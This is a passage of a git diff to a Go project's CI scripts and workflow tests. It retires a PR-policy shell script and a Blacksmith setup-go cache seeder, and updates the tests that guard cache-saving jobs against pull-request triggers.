t.Errorf(".bazelrc build:integration tags = %v, want nightly.yml full-test's %v", laneTags, want) + t.Errorf(".bazelrc build:integration tags = %v, want %v", laneTags, want) } if err := checkBazelrcIntegrationLane(bazelrc); err != nil { t.Error(err) diff --git a/scripts/check-workapi-frontend-boundary.sh b/scripts/check-workapi-frontend-boundary.sh index 2031166bc..f942aaf57 100755 --- a/scripts/check-workapi-frontend-boundary.sh +++ b/scripts/check-workapi-frontend-boundary.sh @@ -8,8 +8,7 @@ # derived from a client's cwd or environment are meaningless in a long-lived # server and must not leak into the shared contract. # -# Runs in scripts/ci/pr-policy.sh and as -# //scripts/repochecks:workapi_frontend_boundary_test. +# Runs as //scripts/repochecks:workapi_frontend_boundary_test. set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" diff --git a/scripts/ci/pr-core.sh b/scripts/ci/pr-core.sh index 8c66241bc..0fa706b0a 100755 --- a/scripts/ci/pr-core.sh +++ b/scripts/ci/pr-core.sh @@ -27,10 +27,10 @@ GO_TEST_PARALLEL="${GO_TEST_PARALLEL:-4}" # just under). No single test is at fault, so the panic names whichever one was # in flight and reads like a hang when it is really the whole package running out # of clock. 30m is what every other -race lane here already gives this same code: -# main.yml's macOS test job, ci-measurements.yml, nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main +# main.yml's macOS test job. Splitting or de-slowing cmd/bd is the real fix and belongs on main # — this only stops the clock from being the thing that fails. # BEADS_PR_CORE_GO_TEST_JSON=: same run, `go test -json` output to -# (nightly.yml feeds it to tools/bazel/equivalence.py --go-test-json). +# (for tools/bazel/equivalence.py --go-test-json, the skip-parity check). go_test() { if [[ -n "${BEADS_PR_CORE_GO_TEST_JSON:-}" ]]; then go test -json "$@" >"$BEADS_PR_CORE_GO_TEST_JSON" diff --git a/scripts/ci/pr-policy.sh b/scripts/ci/pr-policy.sh deleted file mode 100755 index d450085c7..000000000 --- a/scripts/ci/pr-policy.sh +++ /dev/null @@ -1,90 +0,0 @@ -#!/usr/bin/env bash -# Required PR repository policy checks. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/timing.sh -source "$REPO_ROOT/scripts/ci/lib/timing.sh" - -cd "$REPO_ROOT" - -tmpdir="" -cleanup() { - if [[ -n "$tmpdir" ]]; then - rm -rf "$tmpdir" - fi -} -trap cleanup EXIT - -check_no_beads_jsonl_changes() { - local base_ref="" - - if [[ "${CI_SKIP_BEADS_CHANGE_CHECK:-0}" == "1" ]]; then - printf 'Skipping .beads/issues.jsonl guard because CI_SKIP_BEADS_CHANGE_CHECK=1\n' - return 0 - fi - - if [[ -n "${CI_BEADS_DIFF_BASE:-}" ]]; then - base_ref="$CI_BEADS_DIFF_BASE" - elif [[ -n "${GITHUB_BASE_REF:-}" ]]; then - base_ref="origin/${GITHUB_BASE_REF}" - elif git rev-parse --verify --quiet origin/main >/dev/null; then - base_ref="origin/main" - printf 'No PR base ref found; checking .beads/issues.jsonl against origin/main.\n' - else - printf 'No diff base available; skipping .beads/issues.jsonl guard.\n' - return 0 - fi - - if ! git rev-parse --verify --quiet "$base_ref" >/dev/null; then - printf 'Diff base %s is unavailable; skipping .beads/issues.jsonl guard.\n' "$base_ref" - return 0 - fi - - if git diff --name-only "$base_ref"...HEAD | grep -q '^\.beads/issues\.jsonl$'; then - cat >&2 <<'EOF' -This change includes .beads/issues.jsonl. - -That file is the project's issue database and should not be modified in PRs. - -To fix: - git checkout origin/main -- .beads/issues.jsonl - git commit --amend -EOF - return 1 - fi - - printf 'No .beads/issues.jsonl changes detected.\n' -} - -build_docs_binary() { - tmpdir="$(mktemp -d)" - local build - build="$(git rev-parse --short HEAD)" - - env CGO_ENABLED=0 go build \ - -ldflags="-X main.Build=${build}" \ - -o "$tmpdir/bd" \ - ./cmd/bd -} - -ci_time "check build-tag policy" -- ./scripts/check-build-tags.sh -ci_time "check workflow build-tag declarations" -- \ - go run -tags=gms_pure_go ./scripts/checkworkflowtags -ci_time "check go install guidance" -- ./scripts/check-go-install-guidance.sh -ci_time "check version consistency" -- ./scripts/check-versions.sh -ci_time "build bd for docs checks" -- build_docs_binary -ci_time "check doc flags" -- ./scripts/check-doc-flags.sh "$tmpdir/bd" -ci_time "check doc freshness" -- ./scripts/check-doc-freshness.sh -ci_time "check testing.Short boundaries" -- ./scripts/check-testing-short.sh -ci_time "check workapi frontend boundary" -- ./scripts/check-workapi-frontend-boundary.sh -ci_time "check no .beads/issues.jsonl changes" -- check_no_beads_jsonl_changes -# The OpenAPI drift gate belongs to a REQUIRED PR job. The Main workflow is -# perpetually concurrency-cancelled, so a gate that only ran there would be -# unenforced in practice. -ci_time "check openapi spec gate" -- make api-check diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index 8031511a9..51b5de8ff 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -6,9 +6,6 @@ # Dolt/test-env setup required). # # Shared by every non-race seeder so they can never drift apart (F7b spec 4.2): -# - main.yml's build-artifacts (ubuntu-latest / fork-PR path non-race save) -# - main.yml's blacksmith-go-build-cache (Blacksmith / same-repo-PR path -# non-race save) # - main.yml's test-windows (Windows non-race save) # - main.yml's blacksmith-macos-go-build-cache (macOS non-race save: its # github leg the fork/Dependabot path of pr.yml's macOS legs, its diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 2387d8863..b1d251737 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -66,14 +66,11 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { } // blacksmithSaverJobs are main.yml's push-to-main-only jobs that seed a -// Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job -// above restores from. F7c's blacksmith-setup-go-cache is pinned by its own -// TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's remaining savers (B2), the macOS saver, and the Blacksmith macOS +// Blacksmith-selection GOCACHE a same-repo PR or merge_group job restores +// from: F7b's Windows saver (B2), the macOS saver, and the Blacksmith macOS // `test` job (which saves its own race cache). var blacksmithSaverJobs = []string{ - "blacksmith-go-build-cache", "test-windows", - "blacksmith-macos-go-build-cache", "test", + "test-windows", "blacksmith-macos-go-build-cache", "test", } // TestBlacksmithSaverJobsGuardedAgainstPullRequest is the B2 fix's pin: each @@ -135,7 +132,7 @@ func TestBlacksmithSaverJobsGuardedAgainstPullRequest(t *testing.T) { } // TestBlacksmithSaverCacheKeysAreNotPerCommit is the S7 fix's pin: each of -// blacksmith-go-build-cache's and test-windows' Go-cache +// main.yml's Blacksmith savers' Go-cache // restore/save key pairs is bounded by go.sum content plus a UTC calendar day // (via that job's own "Compute cache date" step, id: cache-date), not by // github.sha, so an ordinary day of push traffic to main cannot mint a new @@ -153,11 +150,6 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { saveStepNames []string } cases := []saverSteps{ - { - job: "blacksmith-go-build-cache", - restoreStepNames: []string{"Restore race Go build cache", "Restore non-race Go build cache"}, - saveStepNames: []string{"Save race Go build cache", "Save non-race Go build cache"}, - }, { job: "test-windows", restoreStepNames: []string{"Restore non-race Go build cache"}, @@ -203,53 +195,20 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the // reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// "venue matrix" savers (test-windows and the -// Linux and macOS Go build cache savers) +// "venue matrix" savers (test-windows and the macOS Go build cache saver) // must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and -// the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage), -// and blacksmith-go-build-cache's `flavor` matrix must keep both `race` and -// `non-race` -- dropping either silently loses a cache seed or a whole -// coverage flavor with no test noticing (TestSameRepoBlacksmithRunners only -// pins the runs-on ternary string, which does not change shape if a matrix -// axis's value list shrinks). +// the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage) +// -- dropping either silently loses a cache seed with no test noticing +// (TestSameRepoBlacksmithRunners only pins the runs-on ternary string, which +// does not change shape if a matrix axis's value list shrinks). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") - for _, jobName := range []string{"test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { + for _, jobName := range []string{"test-windows", "blacksmith-macos-go-build-cache"} { job := workflow.job(t, jobName) if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) } } - job := workflow.job(t, "blacksmith-go-build-cache") - if got := job.Strategy.Matrix.Flavor; !equalStrings(got, []string{"race", "non-race"}) { - t.Errorf("main.yml's blacksmith-go-build-cache matrix.flavor = %v, want [race non-race]", got) - } -} - -// TestBlacksmithGoBuildCacheRaceLegActuallyUsesRace re-pins mutation M6: the -// race flavor's GOCACHE-warming step must actually pass `-race` to `go test`, -// or the "race" leg's saved cache would silently warm a non-race build -// instead and every race-flavor restore downstream would cache-miss (or -// worse, hit a non-race-compiled cache under the race key). -func TestBlacksmithGoBuildCacheRaceLegActuallyUsesRace(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm race GOCACHE") - if !strings.Contains(step.Run, "-race") { - t.Errorf("blacksmith-go-build-cache's race-leg warm step run = %q, want it to pass -race", step.Run) - } -} - -// TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages re-pins mutation -// M7: the non-race flavor's warm step must run the shared -// warm-non-race-cache.sh, so the same-repo-PR seed can never silently stop -// covering what pr-preflight-platforms' and check-doc-freshness-platforms' -// ubuntu legs compile. -func TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm non-race GOCACHE (preflight/doc-freshness)") - if step.Run != "bash scripts/ci/warm-non-race-cache.sh" { - t.Errorf("blacksmith-go-build-cache's non-race-leg warm step run = %q, want bash scripts/ci/warm-non-race-cache.sh", step.Run) - } } // TestWarmNonRaceCacheScriptCompilesGitattributespolicy re-pins mutation M15: diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 517220025..4885457cc 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -2,6 +2,8 @@ package scripts_test import ( "fmt" + "os" + "path/filepath" "sort" "strings" "testing" @@ -12,8 +14,7 @@ import ( // F7c (spec-f7.md §2.4, §4.3): advisory workflows moved onto a same-repo-PR // Blacksmith runner. These tests pin the invariants that make that safe: no // advisory job can read a secret just because it now names a Blacksmith -// label, and the Blacksmith-side setup-go seed in main.yml actually exists -// for the jobs that depend on it. The path-filtered upgrade suites F7c folded +// label, and no Blacksmith-reachable job saves a cache. The path-filtered upgrade suites F7c folded // (Migration Test Harness, Cross-Version Smoke) and their filter and fold // checks are gone: those suites run under Bazel (//tests/migration, // //tests/upgrade_smoke). @@ -110,14 +111,6 @@ func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { } } -func mapKeys[K comparable, V any](m map[K]V) []K { - keys := make([]K, 0, len(m)) - for k := range m { - keys = append(keys, k) - } - return keys -} - func sortedCopy(items []string) []string { out := append([]string(nil), items...) sort.Strings(out) @@ -238,165 +231,36 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { } } -// --- Blacksmith cache-visibility precondition (spec-f7.md §2.2 Group B) --- +// --- Retired setup-go seeder (ga-96smfk.58) -------------------------------- -// blacksmithSetupGoCacheConsumers is every advisory job that restores the -// self-defined `blacksmith-sg-v1-` setup-go cache main.yml's -// blacksmith-setup-go-cache job seeds (B2, F7c implementation report). -var blacksmithSetupGoCacheConsumers = map[string][]string{} - -// blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix -// (not setup-go's own implicit key) that the seeder and every consumer share, -// so the "no save in a consumer job" checks below can scope to exactly this -// cache without also flagging an unrelated, legitimately-caching step in -// another namespace. -const blacksmithSetupGoCacheKeyNamespace = "blacksmith-sg-v1-" - -// TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers pins that main.yml's -// blacksmith-setup-go-cache job exists, restores whatever is already cached, -// unconditionally re-runs every warm-up command (not gated on a cache hit, -// since a stale or partial restore must still self-heal), and then always -// saves - the "always warm, always save" design B2 requires so this job can -// safely be the ONLY writer of the Blacksmith-side setup-go cache every -// advisory consumer below reads from. -func TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - - if !strings.Contains(job.RunsOn, "blacksmith-") { - t.Errorf("main.yml's blacksmith-setup-go-cache runs-on = %q, want a Blacksmith label", job.RunsOn) +// TestNoBlacksmithSetupGoCacheNamespace: main.yml's blacksmith-setup-go-cache +// seeder warmed the self-keyed blacksmith-sg-v1- cache for the F7c advisory +// workflows (regression, migration-test, cross-version-smoke, +// proxied-local-smoke). All four are Bazel targets now, so nothing restores +// that namespace; a workflow naming it again would be a writer or reader with +// no counterpart. +func TestNoBlacksmithSetupGoCacheNamespace(t *testing.T) { + root := sourceRepoRoot(t) + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) } - if job.TimeoutMinutes == 0 { - t.Error("main.yml's blacksmith-setup-go-cache has no timeout-minutes") - } - - setupGoIndex := -1 - for i, step := range job.Steps { - if actionFamily(step.Uses) != setupGoActionFamily { + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".yml") { continue } - setupGoIndex = i - if step.ID != "setup-go" { - t.Errorf("main.yml's blacksmith-setup-go-cache setup-go step has id %q, want \"setup-go\"", step.ID) - } - // The seeder disables setup-go's OWN implicit cache (which would try - // to use a GitHub-hosted cache entry Blacksmith can't see) in favor of - // the explicit, self-keyed restore/save steps below. - if step.With["cache"] != "false" { - t.Errorf("main.yml's blacksmith-setup-go-cache setup-go cache = %q, want \"false\" (this job manages its own cache explicitly)", step.With["cache"]) - } - if step.With["go-version-file"] != "go.mod" { - t.Errorf("main.yml's blacksmith-setup-go-cache setup-go go-version-file = %q, want go.mod", step.With["go-version-file"]) + if strings.Contains(readPolicyFile(t, root, ".github/workflows/"+entry.Name()), "blacksmith-sg-v1-") { + t.Errorf("%s names the retired blacksmith-sg-v1- setup-go cache namespace", entry.Name()) } } - if setupGoIndex < 0 { - t.Fatal("main.yml's blacksmith-setup-go-cache has no actions/setup-go step") - } - - restore := job.step(t, "Restore Blacksmith setup-go cache") - if actionFamily(restore.Uses) != cacheRestoreActionFamily { - t.Errorf("main.yml's blacksmith-setup-go-cache Restore step uses %q, want family %q", restore.Uses, cacheRestoreActionFamily) - } - if restore.If != "" { - t.Errorf("main.yml's blacksmith-setup-go-cache Restore step has if=%q, want unconditional (push-to-main only job, always trusted)", restore.If) - } - if !strings.HasPrefix(restore.With["key"], blacksmithSetupGoCacheKeyNamespace) { - t.Errorf("main.yml's blacksmith-setup-go-cache Restore key = %q, want it to start with %q", restore.With["key"], blacksmithSetupGoCacheKeyNamespace) - } - - wantWarmups := []string{ - "make build", - } - for _, want := range wantWarmups { - found := false - for i, step := range job.Steps[setupGoIndex+1:] { - if strings.TrimSpace(step.Run) != want { - continue - } - found = true - // Unconditional, not gated on a cache hit (F7c review fix B2): - // the whole point of this job is to keep the cache warm, so it - // must always repopulate GOCACHE/GOMODCACHE. - if step.If != "" { - t.Errorf("main.yml's blacksmith-setup-go-cache step %q (index %d) has if=%q, want it unconditional", - want, setupGoIndex+1+i, step.If) - } - } - if !found { - t.Errorf("main.yml's blacksmith-setup-go-cache has no step that runs exactly %q", want) - } - } - - save := job.step(t, "Save Blacksmith setup-go cache") - if actionFamily(save.Uses) != cacheSaveActionFamily { - t.Errorf("main.yml's blacksmith-setup-go-cache Save step uses %q, want family %q", save.Uses, cacheSaveActionFamily) - } - if save.If != "always()" { - t.Errorf("main.yml's blacksmith-setup-go-cache Save step has if=%q, want \"always()\" (save even if a warm-up step above failed)", save.If) - } - if !strings.HasPrefix(save.With["key"], blacksmithSetupGoCacheKeyNamespace) { - t.Errorf("main.yml's blacksmith-setup-go-cache Save key = %q, want it to start with %q", save.With["key"], blacksmithSetupGoCacheKeyNamespace) - } - if save.With["key"] != restore.With["key"] { - t.Errorf("main.yml's blacksmith-setup-go-cache Save key = %q, Restore key = %q; the seeder must save under the exact key it restores from", save.With["key"], restore.With["key"]) - } -} - -// TestBlacksmithSeederGuardedAgainstPullRequest pins main.yml's -// blacksmith-setup-go-cache job `if:` byte-for-byte (F7c review fix S2): this -// job is the ONLY writer every advisory consumer's blacksmith-sg-v1- restore -// trusts, so it must stay push-to-main-only even in the counterfactual where -// main.yml's `on:` trigger set grows a pull_request (or merge_group) entry -// someday. A guard that only checks github.repository (the pre-fix state) -// would not catch that: every same-repo PR also satisfies -// github.repository == 'gastownhall/beads'. The real regression this closes -// is evaluated below via evalGHExpr, not just a string match, so the job is -// also proven actually unreachable under a same-repo pull_request event. -func TestBlacksmithSeederGuardedAgainstPullRequest(t *testing.T) { - const wantIf = "github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads'" - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - if job.If != wantIf { - t.Fatalf("main.yml's blacksmith-setup-go-cache if=%q, want exactly %q", job.If, wantIf) - } - - const ownRepo = "gastownhall/beads" - cases := []struct { - name string - ctx map[string]string - want bool - }{ - {"actual push to main", map[string]string{ - "github.event_name": "push", "github.ref": "refs/heads/main", "github.repository": ownRepo, - }, true}, - {"same-repo pull_request stays excluded", map[string]string{ - "github.event_name": "pull_request", "github.ref": "refs/pull/1/merge", "github.repository": ownRepo, - "github.event.pull_request.head.repo.full_name": ownRepo, - }, false}, - {"merge_group stays excluded", map[string]string{ - "github.event_name": "merge_group", "github.ref": "refs/heads/gh-readonly-queue/main/pr-1", "github.repository": ownRepo, - }, false}, - {"push to a non-main branch stays excluded", map[string]string{ - "github.event_name": "push", "github.ref": "refs/heads/not-main", "github.repository": ownRepo, - }, false}, - {"push from a fork stays excluded", map[string]string{ - "github.event_name": "push", "github.ref": "refs/heads/main", "github.repository": "someone-else/beads", - }, false}, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - got, err := evalGHExpr(job.If, c.ctx) - if err != nil { - t.Fatalf("evalGHExpr(%q): %v", job.If, err) - } - if ghTruthy(got) != c.want { - t.Errorf("evalGHExpr(%q) under %+v = %#v, want truthy=%v", job.If, c.ctx, got, c.want) - } - }) + if _, found := readCIWorkflow(t, "main.yml").Jobs["blacksmith-setup-go-cache"]; found { + t.Error("main.yml has a blacksmith-setup-go-cache job again; it seeds a cache nothing restores") } } // TestMainWorkflowHasNoSameRepoPRReachableTrigger is the direct half of F7c -// review fix S2's "pin the seeder's trust boundary" ask: belt-and-suspenders -// alongside the job-level guard in TestBlacksmithSeederGuardedAgainstPullRequest. +// review fix S2's "pin the savers' trust boundary" ask: belt-and-suspenders +// alongside the job-level guard in TestBlacksmithSaverJobsGuardedAgainstPullRequest. // The guard defuses the vulnerability even if one of these triggers is added // to main.yml's `on:` block, but this test catches the trigger addition // itself at the workflow-trust-surface level, so a future edit here gets @@ -414,7 +278,7 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { } for _, forbidden := range []string{"pull_request", "pull_request_target", "merge_group", "workflow_run"} { if _, ok := parsed.On[forbidden]; ok { - t.Errorf("main.yml's on: has a %q trigger; its blacksmith-setup-go-cache seeder is the ONLY writer every advisory consumer trusts, so this workflow must never become reachable from a same-repo PR/merge-queue event even with the job-level guard as a second layer", forbidden) + t.Errorf("main.yml's on: has a %q trigger; its push-to-main cache savers are the only writers PR jobs trust, so this workflow must never become reachable from a same-repo PR/merge-queue event even with the job-level guard as a second layer", forbidden) } } if _, ok := parsed.On["push"]; !ok { @@ -422,135 +286,6 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { } } -// TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly replaces the pre-review -// TestAdvisoryBlacksmithConsumersKeepImplicitSetupGoCache (F7c review fix -// B2): each consumer must disable setup-go's own implicit cache on a -// self-hosted (Blacksmith) runner and restore-only from the self-keyed -// `blacksmith-sg-v1-` namespace, with NO save step in that namespace - only -// main.yml's seeder may ever write it, so a same-repo PR run can read the -// cache but never poison what another PR or main's seeder reads back. The -// "no save" check is scoped to the blacksmith-sg-v1- key namespace -// specifically (not "no actions/cache/save in this job at all"): a cache in -// another namespace is the general sweep's concern below -// (TestBlacksmithReachableAdvisoryJobsNeverSaveACache), not an exemption -// from this one. -func TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly(t *testing.T) { - for file, jobNames := range blacksmithSetupGoCacheConsumers { - workflow := readCIWorkflow(t, file) - for _, jobName := range jobNames { - t.Run(file+"/"+jobName, func(t *testing.T) { - job := workflow.job(t, jobName) - - var sawSetupGo, sawRestore bool - for _, step := range job.Steps { - switch actionFamily(step.Uses) { - case setupGoActionFamily: - sawSetupGo = true - // F7c review fix N1: fail-closed. Pinned to the - // "== 'github-hosted'" form (not "!= 'self-hosted'") - // so an empty/unknown runner.environment value keeps - // caching OFF instead of turning it on. - if step.With["cache"] != "${{ runner.environment == 'github-hosted' }}" { - t.Errorf("%s job %s setup-go cache = %q, want it disabled on self-hosted runners (fail-closed)", file, jobName, step.With["cache"]) - } - case cacheRestoreActionFamily: - if strings.HasPrefix(step.With["key"], blacksmithSetupGoCacheKeyNamespace) { - sawRestore = true - if !strings.Contains(step.If, "runner.environment == 'self-hosted'") { - t.Errorf("%s job %s setup-go cache Restore step has if=%q, want it gated on runner.environment == 'self-hosted'", file, jobName, step.If) - } - } - case cacheSaveActionFamily, cacheMonolithicActionFamily: - if strings.HasPrefix(step.With["key"], blacksmithSetupGoCacheKeyNamespace) { - t.Errorf("%s job %s has a %s step keyed in the blacksmith-sg-v1- namespace (%q); only main.yml's seeder may save this cache", file, jobName, actionFamily(step.Uses), step.With["key"]) - } - } - } - if !sawSetupGo { - t.Errorf("%s job %s has no actions/setup-go step", file, jobName) - } - if !sawRestore { - t.Errorf("%s job %s has no blacksmith-sg-v1- cache restore step", file, jobName) - } - }) - } - } -} - -// TestBlacksmithSeederCacheKeyIsNotPerCommit pins F7c review fix S5: the -// seeder's save/restore key suffix must be a UTC calendar day -// (steps.cache-date.outputs.today), not github.sha. Keying per commit meant -// every single push to main - whether or not go.sum changed - wrote a new -// multi-GB ~/go/pkg/mod + ~/.cache/go-build entry under this namespace; on a -// cache store with LRU eviction (Blacksmith) that churn risked evicting -// F7a's own beads-go-mod-v2-*/beads-go-build-v2-* entries. Keying per day -// instead caps writes to at most once per calendar day while still picking -// up a go.sum change on the very next push. -func TestBlacksmithSeederCacheKeyIsNotPerCommit(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - - dateStep := job.step(t, "Compute cache date") - if dateStep.ID != "cache-date" { - t.Errorf("main.yml's blacksmith-setup-go-cache Compute cache date step has id %q, want \"cache-date\"", dateStep.ID) - } - if !strings.Contains(dateStep.Run, "date -u") { - t.Errorf("main.yml's blacksmith-setup-go-cache Compute cache date step run = %q, want it to compute a UTC date", dateStep.Run) - } - - restore := job.step(t, "Restore Blacksmith setup-go cache") - save := job.step(t, "Save Blacksmith setup-go cache") - for name, step := range map[string]ciWorkflowStep{"Restore": restore, "Save": save} { - key := step.With["key"] - if strings.Contains(key, "github.sha") { - t.Errorf("main.yml's blacksmith-setup-go-cache %s step key = %q, must not key per-commit (github.sha) - see F7c review fix S5", name, key) - } - if !strings.Contains(key, "steps.cache-date.outputs.today") { - t.Errorf("main.yml's blacksmith-setup-go-cache %s step key = %q, want it keyed by steps.cache-date.outputs.today", name, key) - } - } -} - -// TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers pins that every -// consumer's restore key/restore-keys are textually identical to main.yml -// seeder's save key (F7c review fix B2, closes a seeder/consumer key-mismatch -// mutation): if a consumer's key format ever drifted from the seeder's (a -// different hash segment order, a missing runner.arch, etc.) the seeder would -// keep writing entries no consumer could ever restore, silently degrading -// every advisory Blacksmith job back to a cold cache. -func TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers(t *testing.T) { - seeder := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - seederSave := seeder.step(t, "Save Blacksmith setup-go cache") - seederKey := seederSave.With["key"] - if seederKey == "" { - t.Fatal("main.yml's blacksmith-setup-go-cache Save step has no key") - } - - for file, jobNames := range blacksmithSetupGoCacheConsumers { - workflow := readCIWorkflow(t, file) - for _, jobName := range jobNames { - job := workflow.job(t, jobName) - var restore *ciWorkflowStep - for i := range job.Steps { - step := &job.Steps[i] - if actionFamily(step.Uses) == cacheRestoreActionFamily && strings.HasPrefix(step.With["key"], blacksmithSetupGoCacheKeyNamespace) { - restore = step - break - } - } - if restore == nil { - t.Errorf("%s job %s has no blacksmith-sg-v1- restore step", file, jobName) - continue - } - if restore.With["key"] != seederKey { - t.Errorf("%s job %s restore key = %q, want it identical to the seeder's save key %q", file, jobName, restore.With["key"], seederKey) - } - if !strings.Contains(restore.With["restore-keys"], strings.TrimSuffix(seederKey, "${{ steps.cache-date.outputs.today }}")) { - t.Errorf("%s job %s restore-keys %q does not contain the seeder's key prefix (without the commit-specific suffix)", file, jobName, restore.With["restore-keys"]) - } - } - } -} - // --- General sweep: no Blacksmith-reachable advisory job may save a cache -- // generalCacheSweepWorkflows is every F7c advisory workflow plus main.yml @@ -565,7 +300,7 @@ func TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers(t *testing.T) { // machinery. This list is every workflow this F7c round can actually edit // plus the one workflow (main.yml) whose seeder job this round added a new // guard to. -var generalCacheSweepWorkflows = append(mapKeys(blacksmithSetupGoCacheConsumers), "main.yml") +var generalCacheSweepWorkflows = []string{"main.yml"} // blacksmithTrustContexts are the two event shapes a same-repo Blacksmith // `runs-on` ternary can route onto a `blacksmith-*` label for (F7c review fix diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 32c7123cd..dd4ccd44c 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -23,41 +23,21 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { t.Run(workflowName, func(t *testing.T) { workflow := readCIWorkflow(t, workflowName) - for _, forbidden := range []string{ - "golangci-lint", - "make ci-pr-policy", - "make ci-pr-lint", - } { - for _, step := range workflow.Jobs["build-artifacts"].Steps { - if strings.Contains(step.Run, forbidden) { - t.Errorf("build-artifacts runs %q in step %q", forbidden, step.Name) - } - } - } - - // pr.yml's PR Policy job is retired: its checks are Bazel tests - // (TestPRPolicyChecksRunAsBazelTargets). main.yml keeps its own - // copy until main.yml's legacy jobs go. - if workflowName == "pr.yml" { - if _, found := workflow.Jobs["pr-policy-wrapper"]; found { - t.Errorf("pr.yml has a pr-policy-wrapper job; its checks run as Bazel tests") - } - for name, job := range workflow.Jobs { - for _, step := range job.Steps { - if strings.Contains(step.Run, "make ci-pr-policy") { - t.Errorf("pr.yml job %s step %q runs make ci-pr-policy; its checks run as Bazel tests", name, step.Name) + // The PR Policy and lint wrappers are retired: their checks are + // Bazel tests (TestPRPolicyChecksRunAsBazelTargets) and nogo + // (TestLintAndVetRunAsNogo), so no job may run them. + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + for _, forbidden := range []string{"golangci-lint", "make ci-pr-policy", "make ci-pr-lint"} { + if strings.Contains(step.Run, forbidden) { + t.Errorf("%s job %s step %q runs %q; its checks run as Bazel tests", workflowName, name, step.Name, forbidden) } } } - } else { - assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") } - // Lint and vet are nogo inside Bazel (TestLintAndVetRunAsNogo): - // no workflow job runs golangci-lint or the retired lint and vet - // jobs. - for _, retired := range []string{"pr-lint-wrapper", "go-vet-cache", "scripts-go-checks", "lint"} { + for _, retired := range []string{"pr-policy-wrapper", "pr-lint-wrapper", "go-vet-cache", "scripts-go-checks", "lint"} { if _, found := workflow.Jobs[retired]; found { - t.Errorf("%s has a %q job; lint and vet run as nogo in bazel.yml's test lane", workflowName, retired) + t.Errorf("%s has a %q job; its checks run in bazel.yml's test lane", workflowName, retired) } } }) @@ -708,33 +688,61 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } } -// TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite pins the nightly -// full-test job's embedded-Dolt step: it must set BEADS_TEST_EMBEDDED_DOLT=1 -// (the gate skipUnlessEmbeddedDolt checks) and run exactly -// TestBatchApplyContract, TestLargeBatchApplyWallClock_Embedded, (F1) -// TestLargeBatchApplyStatementCounts712_Embedded and the 458-issue -// batch-create equivalence scenarios -// (TestCreateBatchFastPathsMatchPerRowLarge_Embedded), non-race, after the main -// "Full Test Suite" step. That main step never sets BEADS_TEST_EMBEDDED_DOLT, -// so without this step the nightly job would never exercise a real -// 1000-item apply through the embedded backend, nor the 712-item shape's -// pinned statement-count baseline, at all — see the step's own comment in -// nightly.yml for why non-race and why these tests specifically. -func 